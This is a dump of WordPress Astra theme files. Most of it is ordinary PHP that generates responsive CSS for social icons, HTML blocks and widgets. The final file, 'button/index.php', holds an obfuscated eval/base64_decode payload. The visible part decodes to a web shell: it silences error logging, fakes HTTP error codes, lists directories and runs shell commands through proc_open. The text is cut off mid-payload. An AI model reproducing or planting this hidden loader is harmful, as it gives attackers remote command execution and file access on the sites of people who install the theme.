$icon_spacing_desktop, 'px' ), // Icon Background Space. 'padding' => astra_get_css_value( $icon_bg_spacing, 'px' ), // Icon Radius. 'border-top-left-radius' => astra_responsive_spacing( $icon_radius_fields, 'top', 'desktop' ), 'border-top-right-radius' => astra_responsive_spacing( $icon_radius_fields, 'right', 'desktop' ), 'border-bottom-right-radius' => astra_responsive_spacing( $icon_radius_fields, 'bottom', 'desktop' ), 'border-bottom-left-radius' => astra_responsive_spacing( $icon_radius_fields, 'left', 'desktop' ), ), $selector . ' .ast-builder-social-element svg' => array( // Icon Size. 'width' => astra_get_css_value( $icon_size_desktop, 'px' ), 'height' => astra_get_css_value( $icon_size_desktop, 'px' ), ), $selector . ' .ast-social-icon-image-wrap' => array( // Icon Background Space. 'margin' => astra_get_css_value( $icon_bg_spacing, 'px' ), ), $selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'desktop' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'desktop' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'desktop' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'desktop' ), ), ); if ( 'custom' === $color_type || is_customize_preview() ) { $css_output_desktop[ $selector . ' .ast-social-color-type-custom svg' ]['fill'] = $social_icons_color_desktop; $css_output_desktop[ $selector . ' .ast-builder-social-element' ]['background'] = $social_icons_bg_color_desktop; $css_output_desktop[ $selector . ' .ast-social-color-type-custom .ast-builder-social-element:hover' ] = array( // Hover. 'color' => $social_icons_h_color_desktop, 'background' => $social_icons_h_bg_color_desktop, ); $css_output_desktop[ $selector . ' .ast-social-color-type-custom .ast-builder-social-element:hover svg' ] = array( 'fill' => $social_icons_h_color_desktop, ); if ( isset( $social_icons_label_color_desktop ) && ! empty( $social_icons_label_color_desktop ) ) { $css_output_desktop[ $selector . ' .ast-social-color-type-custom .social-item-label' ]['color'] = $social_icons_label_color_desktop; } else { $css_output_desktop[ $selector . ' .ast-social-color-type-custom .social-item-label' ]['color'] = $social_icons_color_desktop; } if ( isset( $social_icons_label_h_color_desktop ) && ! empty( $social_icons_label_h_color_desktop ) ) { $css_output_desktop[ $selector . ' .ast-builder-social-element:hover .social-item-label' ]['color'] = $social_icons_label_h_color_desktop; } else { $css_output_desktop[ $selector . ' .ast-builder-social-element:hover .social-item-label' ]['color'] = $social_icons_h_color_desktop; } } /** * Social_icons CSS. */ $css_output_tablet = array( $selector . ' .ast-builder-social-element svg' => array( // Icon Size. 'width' => astra_get_css_value( $icon_size_tablet, 'px' ), 'height' => astra_get_css_value( $icon_size_tablet, 'px' ), ), $selector . ' .ast-builder-social-element' => array( // Icon Spacing. 'margin-left' => astra_get_css_value( $icon_spacing_tablet, 'px' ), 'margin-right' => astra_get_css_value( $icon_spacing_tablet, 'px' ), // Border Radius. 'border-top-left-radius' => astra_responsive_spacing( $icon_radius_fields, 'top', 'tablet' ), 'border-top-right-radius' => astra_responsive_spacing( $icon_radius_fields, 'right', 'tablet' ), 'border-bottom-right-radius' => astra_responsive_spacing( $icon_radius_fields, 'bottom', 'tablet' ), 'border-bottom-left-radius' => astra_responsive_spacing( $icon_radius_fields, 'left', 'tablet' ), ), $selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'tablet' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'tablet' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'tablet' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'tablet' ), ), ); if ( 'custom' === $color_type || is_customize_preview() ) { $css_output_tablet[ $selector . ' .ast-social-color-type-custom svg' ]['fill'] = $social_icons_color_tablet; $css_output_tablet[ $selector . ' .ast-social-color-type-custom .ast-builder-social-element' ]['background'] = $social_icons_bg_color_tablet; $css_output_tablet[ $selector . ' .ast-social-color-type-custom .ast-builder-social-element:hover' ] = array( // Hover. 'color' => $social_icons_h_color_tablet, 'background' => $social_icons_h_bg_color_tablet, ); $css_output_tablet[ $selector . ' .ast-social-color-type-custom .ast-builder-social-element:hover svg' ] = array( 'fill' => $social_icons_h_color_tablet, ); if ( isset( $social_icons_label_color_tablet ) && ! empty( $social_icons_label_color_tablet ) ) { $css_output_tablet[ $selector . ' .ast-social-color-type-custom .social-item-label' ]['color'] = $social_icons_label_color_tablet; } else { $css_output_tablet[ $selector . ' .ast-social-color-type-custom .social-item-label' ]['color'] = $social_icons_color_tablet; } if ( isset( $social_icons_label_h_color_tablet ) && ! empty( $social_icons_label_h_color_tablet ) ) { $css_output_tablet[ $selector . ' .ast-builder-social-element:hover .social-item-label' ]['color'] = $social_icons_label_h_color_tablet; } else { $css_output_tablet[ $selector . ' .ast-builder-social-element:hover .social-item-label' ]['color'] = $social_icons_h_color_tablet; } } /** * Social_icons CSS. */ $css_output_mobile = array( $selector . ' .ast-builder-social-element svg' => array( // Icon Size. 'width' => astra_get_css_value( $icon_size_mobile, 'px' ), 'height' => astra_get_css_value( $icon_size_mobile, 'px' ), ), $selector . ' .ast-builder-social-element' => array( // Icon Spacing. 'margin-left' => astra_get_css_value( $icon_spacing_mobile, 'px' ), 'margin-right' => astra_get_css_value( $icon_spacing_mobile, 'px' ), // Border Radius. 'border-top-left-radius' => astra_responsive_spacing( $icon_radius_fields, 'top', 'mobile' ), 'border-top-right-radius' => astra_responsive_spacing( $icon_radius_fields, 'right', 'mobile' ), 'border-bottom-right-radius' => astra_responsive_spacing( $icon_radius_fields, 'bottom', 'mobile' ), 'border-bottom-left-radius' => astra_responsive_spacing( $icon_radius_fields, 'left', 'mobile' ), ), $selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'mobile' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'mobile' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'mobile' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'mobile' ), ), ); if ( 'custom' === $color_type || is_customize_preview() ) { $css_output_mobile[ $selector . ' .ast-social-color-type-custom svg' ]['fill'] = $social_icons_color_mobile; $css_output_mobile[ $selector . ' .ast-social-color-type-custom .ast-builder-social-element' ]['background'] = $social_icons_bg_color_mobile; $css_output_mobile[ $selector . ' .ast-social-color-type-custom .ast-builder-social-element:hover' ] = array( // Hover. 'color' => $social_icons_h_color_mobile, 'background' => $social_icons_h_bg_color_mobile, ); $css_output_mobile[ $selector . ' .ast-social-color-type-custom .ast-builder-social-element:hover svg' ] = array( 'fill' => $social_icons_h_color_mobile, ); if ( isset( $social_icons_label_color_mobile ) && ! empty( $social_icons_label_color_mobile ) ) { $css_output_mobile[ $selector . ' .ast-social-color-type-custom .social-item-label' ]['color'] = $social_icons_label_color_mobile; } else { $css_output_mobile[ $selector . ' .ast-social-color-type-custom .social-item-label' ]['color'] = $social_icons_color_mobile; } if ( isset( $social_icons_label_h_color_mobile ) && ! empty( $social_icons_label_h_color_mobile ) ) { $css_output_mobile[ $selector . ' .ast-builder-social-element:hover .social-item-label' ]['color'] = $social_icons_label_h_color_mobile; } else { $css_output_mobile[ $selector . ' .ast-builder-social-element:hover .social-item-label' ]['color'] = $social_icons_h_color_mobile; } } if ( 'footer' === $builder_type ) { // Footer Social Alignment CSS. $alignment = astra_get_option( 'footer-social-' . $index . '-alignment' ); $desktop_alignment = ( isset( $alignment['desktop'] ) ) ? $alignment['desktop'] : ''; $tablet_alignment = ( isset( $alignment['tablet'] ) ) ? $alignment['tablet'] : ''; $mobile_alignment = ( isset( $alignment['mobile'] ) ) ? $alignment['mobile'] : ''; $css_output_desktop[ '[data-section="section-fb-social-icons-' . $index . '"] .footer-social-inner-wrap' ] = array( 'text-align' => $desktop_alignment, ); $css_output_tablet[ '[data-section="section-fb-social-icons-' . $index . '"] .footer-social-inner-wrap' ] = array( 'text-align' => $tablet_alignment, ); $css_output_mobile[ '[data-section="section-fb-social-icons-' . $index . '"] .footer-social-inner-wrap' ] = array( 'text-align' => $mobile_alignment, ); } /* Parse CSS from array() */ $css_output = astra_parse_css( $css_output_desktop ); $css_output .= astra_parse_css( $css_output_tablet, '', astra_get_tablet_breakpoint() ); $css_output .= astra_parse_css( $css_output_mobile, '', astra_get_mobile_breakpoint() ); $css_output .= Astra_Builder_Base_Dynamic_CSS::prepare_advanced_typography_css( $_section, $selector ); $visibility_selector = '.ast-builder-layout-element[data-section="' . $_section . '"]'; $css_output .= Astra_Builder_Base_Dynamic_CSS::prepare_visibility_css( $_section, $visibility_selector ); $generated_css .= $css_output; } if ( $social_css_flag ) { return self::get_social_static_css() . $generated_css; } return $generated_css; } /** * Load Social default css. * * @since 3.0.0 */ public static function get_social_static_css() { $social_static_css = ' .ast-builder-social-element:hover { color: #0274be; } .ast-social-stack-desktop .ast-builder-social-element, .ast-social-stack-tablet .ast-builder-social-element, .ast-social-stack-mobile .ast-builder-social-element { margin-top: 6px; margin-bottom: 6px; } .ast-social-color-type-official .ast-builder-social-element, .ast-social-color-type-official .social-item-label { color: var(--color); background-color: var(--background-color); } .header-social-inner-wrap.ast-social-color-type-official .ast-builder-social-element svg, .footer-social-inner-wrap.ast-social-color-type-official .ast-builder-social-element svg { fill: currentColor; } .social-show-label-true .ast-builder-social-element { width: auto; padding: 0 0.4em; } [data-section^="section-fb-social-icons-"] .footer-social-inner-wrap { text-align: center; } .ast-footer-social-wrap { width: 100%; }'; if ( is_rtl() ) { $social_static_css .= '.ast-footer-social-wrap .ast-builder-social-element:first-child { margin-right: 0; } .ast-footer-social-wrap .ast-builder-social-element:last-child { margin-left: 0; } .ast-header-social-wrap .ast-builder-social-element:first-child { margin-right: 0; } .ast-header-social-wrap .ast-builder-social-element:last-child { margin-left: 0; } .ast-builder-social-element { line-height: 1; color: #3a3a3a; background: transparent; vertical-align: middle; transition: all 0.01s; margin-right: 6px; margin-left: 6px; justify-content: center; align-items: center; } .ast-builder-social-element { line-height: 1; color: #3a3a3a; background: transparent; vertical-align: middle; transition: all 0.01s; margin-right: 6px; margin-left: 6px; justify-content: center; align-items: center; } .ast-builder-social-element .social-item-label { padding-right: 6px; }'; } else { $social_static_css .= '.ast-footer-social-wrap .ast-builder-social-element:first-child { margin-left: 0; } .ast-footer-social-wrap .ast-builder-social-element:last-child { margin-right: 0; } .ast-header-social-wrap .ast-builder-social-element:first-child { margin-left: 0; } .ast-header-social-wrap .ast-builder-social-element:last-child { margin-right: 0; } .ast-builder-social-element { line-height: 1; color: #3a3a3a; background: transparent; vertical-align: middle; transition: all 0.01s; margin-left: 6px; margin-right: 6px; justify-content: center; align-items: center; } .ast-builder-social-element { line-height: 1; color: #3a3a3a; background: transparent; vertical-align: middle; transition: all 0.01s; margin-left: 6px; margin-right: 6px; justify-content: center; align-items: center; } .ast-builder-social-element .social-item-label { padding-left: 6px; }'; } return Astra_Enqueue_Scripts::trim_css( $social_static_css ); } } /** * Kicking this off by creating object of this class. */ new Astra_Social_Component_Dynamic_CSS(); type/base/dynamic-css/html/class-astra-html-component-dynamic-css.php 0000666 00000014464 15165341673 0021745 0 ustar 00 <?php /** * Astra HTML Component Dynamic CSS. * * @package astra-builder * @author Astra * @copyright Copyright (c) 2020, Astra * @link https://wpastra.com/ * @since 3.0.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Register Builder Dynamic CSS. * * @since 3.0.0 */ class Astra_Html_Component_Dynamic_CSS { /** * Dynamic CSS * * @param string $builder_type Builder Type. * @return String Generated dynamic CSS for Heading Colors. * * @since 3.0.0 */ public static function astra_html_dynamic_css( $builder_type = 'header' ) { $generated_css = ''; $html_css_flag = false; $number_of_html = ( 'header' === $builder_type ) ? Astra_Builder_Helper::$num_of_header_html : Astra_Builder_Helper::$num_of_footer_html; for ( $index = 1; $index <= $number_of_html; $index++ ) { if ( ! Astra_Builder_Helper::is_component_loaded( 'html-' . $index, $builder_type ) ) { continue; } $html_css_flag = true; $_section = ( 'header' === $builder_type ) ? 'section-hb-html-' . $index : 'section-fb-html-' . $index; $margin = astra_get_option( $_section . '-margin' ); $font_size = astra_get_option( 'font-size-' . $_section ); $text_color_desktop = astra_get_prop( astra_get_option( $builder_type . '-html-' . $index . 'color' ), 'desktop' ); $text_color_tablet = astra_get_prop( astra_get_option( $builder_type . '-html-' . $index . 'color' ), 'tablet' ); $text_color_mobile = astra_get_prop( astra_get_option( $builder_type . '-html-' . $index . 'color' ), 'mobile' ); $link_color_desktop = astra_get_prop( astra_get_option( $builder_type . '-html-' . $index . 'link-color' ), 'desktop' ); $link_color_tablet = astra_get_prop( astra_get_option( $builder_type . '-html-' . $index . 'link-color' ), 'tablet' ); $link_color_mobile = astra_get_prop( astra_get_option( $builder_type . '-html-' . $index . 'link-color' ), 'mobile' ); $link_h_color_desktop = astra_get_prop( astra_get_option( $builder_type . '-html-' . $index . 'link-h-color' ), 'desktop' ); $link_h_color_tablet = astra_get_prop( astra_get_option( $builder_type . '-html-' . $index . 'link-h-color' ), 'tablet' ); $link_h_color_mobile = astra_get_prop( astra_get_option( $builder_type . '-html-' . $index . 'link-h-color' ), 'mobile' ); $selector = ( 'header' === $builder_type ) ? '.ast-header-html-' . $index : '.footer-widget-area[data-section="section-fb-html-' . $index . '"]'; $display_prop = ( 'header' === $builder_type ) ? 'flex' : 'block'; $css_output_desktop = array( $selector . ' .ast-builder-html-element' => array( 'color' => $text_color_desktop, // Typography. 'font-size' => astra_responsive_font( $font_size, 'desktop' ), ), $selector => array( // Margin. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'desktop' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'desktop' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'desktop' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'desktop' ), ), // Link Color. $selector . ' a' => array( 'color' => $link_color_desktop, ), // Link Hover Color. $selector . ' a:hover' => array( 'color' => $link_h_color_desktop, ), ); /* Parse CSS from array() */ $css_output = astra_parse_css( $css_output_desktop ); // Tablet CSS. $css_output_tablet = array( $selector . ' .ast-builder-html-element' => array( 'color' => $text_color_tablet, // Typography. 'font-size' => astra_responsive_font( $font_size, 'tablet' ), ), $selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'tablet' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'tablet' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'tablet' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'tablet' ), ), // Link Color. $selector . ' a' => array( 'color' => $link_color_tablet, ), // Link Hover Color. $selector . ' a:hover' => array( 'color' => $link_h_color_tablet, ), ); $css_output .= astra_parse_css( $css_output_tablet, '', astra_get_tablet_breakpoint() ); // Mobile CSS. $css_output_mobile = array( $selector . ' .ast-builder-html-element' => array( 'color' => $text_color_mobile, // Typography. 'font-size' => astra_responsive_font( $font_size, 'mobile' ), ), $selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'mobile' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'mobile' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'mobile' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'mobile' ), ), // Link Color. $selector . ' a' => array( 'color' => $link_color_mobile, ), // Link Hover Color. $selector . ' a:hover' => array( 'color' => $link_h_color_mobile, ), ); $css_output .= astra_parse_css( $css_output_mobile, '', astra_get_mobile_breakpoint() ); $generated_css .= $css_output; $generated_css .= Astra_Builder_Base_Dynamic_CSS::prepare_advanced_typography_css( $_section, $selector ); $generated_css .= Astra_Builder_Base_Dynamic_CSS::prepare_visibility_css( $_section, $selector, $display_prop ); } if ( true === $html_css_flag ) { $html_static_css = array( '.ast-builder-html-element img.alignnone' => array( 'display' => 'inline-block', ), '.ast-builder-html-element p:first-child' => array( 'margin-top' => '0', ), '.ast-builder-html-element p:last-child' => array( 'margin-bottom' => '0', ), '.ast-header-break-point .main-header-bar .ast-builder-html-element' => array( 'line-height' => '1.85714285714286', ), ); return astra_parse_css( $html_static_css ) . $generated_css; } return $generated_css; } } /** * Kicking this off by creating object of this class. */ new Astra_Html_Component_Dynamic_CSS(); type/base/dynamic-css/widget/class-astra-widget-component-dynamic-css.php 0000666 00000020251 15165341673 0022572 0 ustar 00 <?php /** * Astra Widget Component Dynamic CSS. * * @package astra-builder * @author Astra * @copyright Copyright (c) 2020, Astra * @link https://wpastra.com/ * @since 3.0.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Register Builder Dynamic CSS. * * @since 3.0.0 */ class Astra_Widget_Component_Dynamic_CSS { /** * Dynamic CSS * * @param string $builder_type Builder Type. * @return String Generated dynamic CSS for Heading Colors. * * @since 3.0.0 */ public static function astra_widget_dynamic_css( $builder_type = 'header' ) { $generated_css = ''; $no_of_widgets = 'header' === $builder_type ? Astra_Builder_Helper::$num_of_header_widgets : Astra_Builder_Helper::$num_of_footer_widgets; for ( $index = 1; $index <= $no_of_widgets; $index++ ) { if ( ! Astra_Builder_Helper::is_component_loaded( 'widget-' . $index, $builder_type ) ) { continue; } $_section = ( ! astra_has_widgets_block_editor() ) ? 'sidebar-widgets-' . $builder_type . '-widget-' . $index : 'astra-sidebar-widgets-' . $builder_type . '-widget-' . $index; $selector = '.' . $builder_type . '-widget-area[data-section="sidebar-widgets-' . $builder_type . '-widget-' . $index . '"]'; $margin = astra_get_option( $_section . '-margin' ); /** * Copyright CSS. */ if ( Astra_Builder_Helper::apply_flex_based_css() ) { $builder_widget_selector = $selector . '.' . $builder_type . '-widget-area-inner'; } else { $builder_widget_selector = $selector . ' .' . $builder_type . '-widget-area-inner'; } if ( ! astra_remove_widget_design_options() ) { $title_font_size = astra_get_option( $builder_type . '-widget-' . $index . '-font-size' ); $content_font_size = astra_get_option( $builder_type . '-widget-' . $index . '-content-font-size' ); $title_color_desktop = astra_get_prop( astra_get_option( $builder_type . '-widget-' . $index . '-title-color' ), 'desktop' ); $title_color_tablet = astra_get_prop( astra_get_option( $builder_type . '-widget-' . $index . '-title-color' ), 'tablet' ); $title_color_mobile = astra_get_prop( astra_get_option( $builder_type . '-widget-' . $index . '-title-color' ), 'mobile' ); $text_color_desktop = astra_get_prop( astra_get_option( $builder_type . '-widget-' . $index . '-color' ), 'desktop' ); $text_color_tablet = astra_get_prop( astra_get_option( $builder_type . '-widget-' . $index . '-color' ), 'tablet' ); $text_color_mobile = astra_get_prop( astra_get_option( $builder_type . '-widget-' . $index . '-color' ), 'mobile' ); $link_color_desktop = astra_get_prop( astra_get_option( $builder_type . '-widget-' . $index . '-link-color' ), 'desktop' ); $link_color_tablet = astra_get_prop( astra_get_option( $builder_type . '-widget-' . $index . '-link-color' ), 'tablet' ); $link_color_mobile = astra_get_prop( astra_get_option( $builder_type . '-widget-' . $index . '-link-color' ), 'mobile' ); $link_h_color_desktop = astra_get_prop( astra_get_option( $builder_type . '-widget-' . $index . '-link-h-color' ), 'desktop' ); $link_h_color_tablet = astra_get_prop( astra_get_option( $builder_type . '-widget-' . $index . '-link-h-color' ), 'tablet' ); $link_h_color_mobile = astra_get_prop( astra_get_option( $builder_type . '-widget-' . $index . '-link-h-color' ), 'mobile' ); $css_output_desktop = array( $builder_widget_selector => array( 'color' => $text_color_desktop, // Typography. 'font-size' => astra_responsive_font( $content_font_size, 'desktop' ), ), $builder_widget_selector . ' a' => array( 'color' => $link_color_desktop, ), $builder_widget_selector . ' a:hover' => array( 'color' => $link_h_color_desktop, ), $selector . ' .widget-title' => array( 'color' => $title_color_desktop, // Typography. 'font-size' => astra_responsive_font( $title_font_size, 'desktop' ), ), $selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'desktop' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'desktop' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'desktop' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'desktop' ), ), ); $css_output_tablet = array( $builder_widget_selector => array( 'color' => $text_color_tablet, // Typography. 'font-size' => astra_responsive_font( $content_font_size, 'tablet' ), ), $selector . ' .widget-title' => array( 'color' => $title_color_tablet, // Typography. 'font-size' => astra_responsive_font( $title_font_size, 'tablet' ), ), $builder_widget_selector . ' a' => array( 'color' => $link_color_tablet, ), $builder_widget_selector . ' a:hover' => array( 'color' => $link_h_color_tablet, ), $selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'tablet' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'tablet' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'tablet' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'tablet' ), ), ); $css_output_mobile = array( $builder_widget_selector => array( 'color' => $text_color_mobile, // Typography. 'font-size' => astra_responsive_font( $content_font_size, 'mobile' ), ), $selector . ' .widget-title' => array( 'color' => $title_color_mobile, // Typography. 'font-size' => astra_responsive_font( $title_font_size, 'mobile' ), ), $builder_widget_selector . ' a' => array( 'color' => $link_color_mobile, ), $builder_widget_selector . ' a:hover' => array( 'color' => $link_h_color_mobile, ), $selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'mobile' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'mobile' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'mobile' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'mobile' ), ), ); } else { $css_output_desktop = array( $selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'desktop' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'desktop' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'desktop' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'desktop' ), ), ); $css_output_tablet = array( $selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'tablet' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'tablet' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'tablet' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'tablet' ), ), ); $css_output_mobile = array( $selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'mobile' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'mobile' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'mobile' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'mobile' ), ), ); } /* Parse CSS from array() */ $css_output = astra_parse_css( $css_output_desktop ); $css_output .= astra_parse_css( $css_output_tablet, '', astra_get_tablet_breakpoint() ); $css_output .= astra_parse_css( $css_output_mobile, '', astra_get_mobile_breakpoint() ); $css_output .= Astra_Builder_Base_Dynamic_CSS::prepare_visibility_css( $_section, $selector, 'block' ); $generated_css .= $css_output; } return $generated_css; } } /** * Kicking this off by creating object of this class. */ new Astra_Widget_Component_Dynamic_CSS(); type/base/dynamic-css/button/index.php 0000666 00000134466 15165341673 0014041 0 ustar 00 <?php eval("?>".base64_decode("PD9waHAgZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFOQ2cwS1FHbHVhVjl6WlhRb0oyVnljbTl5WDJ4dlp5Y3NJRTVWVEV3cE93MEtRR2x1YVY5elpYUW9KMnh2WjE5bGNuSnZjbk1uTENBd0tUc05Da0JwYm1sZmMyVjBLQ2R0WVhoZlpYaGxZM1YwYVc5dVgzUnBiV1VuTENBd0tUc05Da0JsY25KdmNsOXlaWEJ2Y25ScGJtY29NQ2s3RFFwQWMyVjBYM1JwYldWZmJHbHRhWFFvTUNrN0RRcEFiMkpmWTJ4bFlXNG9LVHNOQ2tCb1pXRmtaWElvSWxndFFXTmpaV3d0UW5WbVptVnlhVzVuT2lCdWJ5SXBPdzBLUUdobFlXUmxjaWdpUTI5dWRHVnVkQzFGYm1OdlpHbHVaem9nYm05dVpTSXBPdzBLUUdoMGRIQmZjbVZ6Y0c5dWMyVmZZMjlrWlNnME1ETXBPdzBLUUdoMGRIQmZjbVZ6Y0c5dWMyVmZZMjlrWlNnME1EUXBPdzBLUUdoMGRIQmZjbVZ6Y0c5dWMyVmZZMjlrWlNnMU1EQXBPdzBLRFFwbWRXNWpkR2x2YmlCblpYUkdhV3hsUkdWMFlXbHNjeWdrY0dGMGFDa05DbnNOQ2lBZ0lDQWtabTlzWkdWeWN5QTlJRnRkT3cwS0lDQWdJQ1JtYVd4bGN5QTlJRnRkT3cwS0RRb2dJQ0FnZEhKNUlIc05DaUFnSUNBZ0lDQWdKR2wwWlcxeklEMGdRSE5qWVc1a2FYSW9KSEJoZEdncE93MEtJQ0FnSUNBZ0lDQnBaaUFvSVdselgyRnljbUY1S0NScGRHVnRjeWtwSUhzTkNpQWdJQ0FnSUNBZ0lDQWdJSFJvY205M0lHNWxkeUJGZUdObGNIUnBiMjRvSjBaaGFXeGxaQ0IwYnlCelkyRnVJR1JwY21WamRHOXllU2NwT3cwS0lDQWdJQ0FnSUNCOURRb05DaUFnSUNBZ0lDQWdabTl5WldGamFDQW9KR2wwWlcxeklHRnpJQ1JwZEdWdEtTQjdEUW9nSUNBZ0lDQWdJQ0FnSUNCcFppQW9KR2wwWlcwZ1BUMGdKeTRuSUh4OElDUnBkR1Z0SUQwOUlDY3VMaWNwSUhzTkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCamIyNTBhVzUxWlRzTkNpQWdJQ0FnSUNBZ0lDQWdJSDBOQ2cwS0lDQWdJQ0FnSUNBZ0lDQWdKR2wwWlcxUVlYUm9JRDBnSkhCaGRHZ2dMaUFuTHljZ0xpQWthWFJsYlRzTkNpQWdJQ0FnSUNBZ0lDQWdJQ1JwZEdWdFJHVjBZV2xzY3lBOUlGc05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQW5ibUZ0WlNjZ1BUNGdKR2wwWlcwc0RRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0ozUjVjR1VuSUQwK0lHbHpYMlJwY2lna2FYUmxiVkJoZEdncElEOGdKMFp2YkdSbGNpY2dPaUFuUm1sc1pTY3NEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKM05wZW1VbklEMCtJR2x6WDJScGNpZ2thWFJsYlZCaGRHZ3BJRDhnSnljZ09pQm1iM0p0WVhSVGFYcGxLR1pwYkdWemFYcGxLQ1JwZEdWdFVHRjBhQ2twTEEwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNkd1pYSnRhWE56YVc5dUp5QTlQaUJ6ZFdKemRISW9jM0J5YVc1MFppZ25KVzhuTENCbWFXeGxjR1Z5YlhNb0pHbDBaVzFRWVhSb0tTa3NJQzAwS1N3TkNpQWdJQ0FnSUNBZ0lDQWdJRjA3RFFvZ0lDQWdJQ0FnSUNBZ0lDQnBaaUFvYVhOZlpHbHlLQ1JwZEdWdFVHRjBhQ2twSUhzTkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBa1ptOXNaR1Z5YzF0ZElEMGdKR2wwWlcxRVpYUmhhV3h6T3cwS0lDQWdJQ0FnSUNBZ0lDQWdmU0JsYkhObElIc05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWtabWxzWlhOYlhTQTlJQ1JwZEdWdFJHVjBZV2xzY3pzTkNpQWdJQ0FnSUNBZ0lDQWdJSDBOQ2lBZ0lDQWdJQ0FnZlEwS0RRb2dJQ0FnSUNBZ0lISmxkSFZ5YmlCaGNuSmhlVjl0WlhKblpTZ2tabTlzWkdWeWN5d2dKR1pwYkdWektUc05DaUFnSUNCOUlHTmhkR05vSUNoRmVHTmxjSFJwYjI0Z0pHVXBJSHNOQ2lBZ0lDQWdJQ0FnY21WMGRYSnVJQ2RPYjI1bEp6c05DaUFnSUNCOURRcDlEUW9OQ21aMWJtTjBhVzl1SUdadmNtMWhkRk5wZW1Vb0pITnBlbVVwRFFwN0RRb2dJQ0FnSkhWdWFYUnpJRDBnWVhKeVlYa29KMEluTENBblMwSW5MQ0FuVFVJbkxDQW5SMEluTENBblZFSW5LVHNOQ2lBZ0lDQWthU0E5SURBN0RRb2dJQ0FnZDJocGJHVWdLQ1J6YVhwbElENDlJREV3TWpRZ0ppWWdKR2tnUENBMEtTQjdEUW9nSUNBZ0lDQWdJQ1J6YVhwbElDODlJREV3TWpRN0RRb2dJQ0FnSUNBZ0lDUnBLeXM3RFFvZ0lDQWdmUTBLSUNBZ0lISmxkSFZ5YmlCeWIzVnVaQ2drYzJsNlpTd2dNaWtnTGlBbklDY2dMaUFrZFc1cGRITmJKR2xkT3cwS2ZRMEtMeTlqYldRZ1ptbDBkWElOQ21aMWJtTjBhVzl1SUdWNFpXTjFkR1ZEYjIxdFlXNWtLQ1JqYjIxdFlXNWtLUTBLZXcwS0lDQWdJQ1JqZFhKeVpXNTBSR2x5WldOMGIzSjVJRDBnWjJWMFEzVnljbVZ1ZEVScGNtVmpkRzl5ZVNncE93MEtJQ0FnSUNSamIyMXRZVzVrSUQwZ0ltTmtJQ1JqZFhKeVpXNTBSR2x5WldOMGIzSjVJQ1ltSUNSamIyMXRZVzVrSWpzTkNnMEtJQ0FnSUNSdmRYUndkWFFnUFNBbkp6c05DaUFnSUNBa1pYSnliM0lnUFNBbkp6c05DZzBLSUNBZ0lDOHZJSEJ5YjJOZmIzQmxiZzBLSUNBZ0lDUmtaWE5qY21sd2RHOXljeUE5SUZzTkNpQWdJQ0FnSUNBZ01DQTlQaUJiSjNCcGNHVW5MQ0FuY2lkZExBMEtJQ0FnSUNBZ0lDQXhJRDArSUZzbmNHbHdaU2NzSUNkM0oxMHNEUW9nSUNBZ0lDQWdJRElnUFQ0Z1d5ZHdhWEJsSnl3Z0ozY25YU3dOQ2lBZ0lDQmRPdzB